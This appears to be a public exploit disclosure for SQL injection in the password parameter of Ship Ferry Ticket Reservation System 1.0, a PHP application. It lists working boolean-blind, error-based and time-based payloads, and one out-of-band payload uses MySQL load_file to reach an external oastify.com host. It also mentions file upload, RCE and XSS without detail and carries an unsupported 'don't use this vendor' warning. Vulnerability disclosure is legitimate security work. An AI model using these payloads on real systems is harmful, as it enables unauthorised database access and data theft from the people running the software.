Ship Ferry Ticket Reservation System 1.0 SQL Injection

## Titles: SFTRS – PHP (by: oretnom23 ) v1.0 Multiple-SQLi
### Bonus: FU + RCE & XSS – Information disclosure
## Author: nu11secur1ty
## Date: 09/14/2024
## Vendor: https://github.com/oretnom23
## Software:
https://www.sourcecodester.com/php/14923/shipferry-ticket-reservation-system-using-php-free-source-code.html
## Reference: https://portswigger.net/web-security/sql-injection

## Description:
The `password` parameter appears to be vulnerable to SQL injection attacks.
The payload ‘+(select load_file(‘\\\\
wxx3v5fkcqnwh58c574znoqo1f78vyjpmde05ou.oastify.com\\tiq’))+’ was submitted
in the password parameter. This payload injects a SQL sub-query that calls
MySQL’s load_file function with a UNC file path that references a URL on an
external domain. The application interacted with that domain, indicating
that the injected SQL query was executed. The attacker can get all the
information from the database of this system, and he can do very malicious
action against the owner of this application!

STATUS: HIGH- Vulnerability for deprecation!
WARNING: DON’T USE ANY PRODUCTS FROM THIS VENDOR!
https://github.com/oretnom23

[+]Exploits:
– SQLi Multiple:
“`mysql
—
Parameter: password (POST)
Type: boolean-based blind
Title: OR boolean-based blind – WHERE or HAVING clause (NOT)
Payload: username=iOPjKWgj&password=i8V!p7q!S1’+(select load_file(‘\\\\
wxx3v5fkcqnwh58c574znoqo1f78vyjpmde05ou.oastify.com\\tiq’))+”) OR NOT
9033=9033 AND (‘ehPW’=’ehPW

Type: error-based
Title: MySQL >= 5.0 AND error-based – WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)
Payload: username=iOPjKWgj&password=i8V!p7q!S1’+(select load_file(‘\\\\
wxx3v5fkcqnwh58c574znoqo1f78vyjpmde05ou.oastify.com\\tiq’))+”) AND (SELECT
4905 FROM(SELECT COUNT(*),CONCAT(0x7171767a71,(SELECT
(ELT(4905=4905,1))),0x71706b7871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND (‘zzCg’=’zzCg

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=iOPjKWgj&password=i8V!p7q!S1’+(select load_file(‘\\\\
wxx3v5fkcqnwh58c574znoqo1f78vyjpmde05ou.oastify.com\\tiq’))+”) AND (SELECT
1493 FROM (SELECT(SLEEP(7)))tpHs) AND (‘PbYw’=’PbYw
—
“`

## Reproduce:
[href](https://www.patreon.com/posts/sftrs-php-by-v1-112034018)

## Proof and Exploit:
[href](
https://www.nu11secur1ty.com/2024/09/sftrs-php-by-oretnom23-shipferry-ticket.html
)

## Time spent:
00:17:00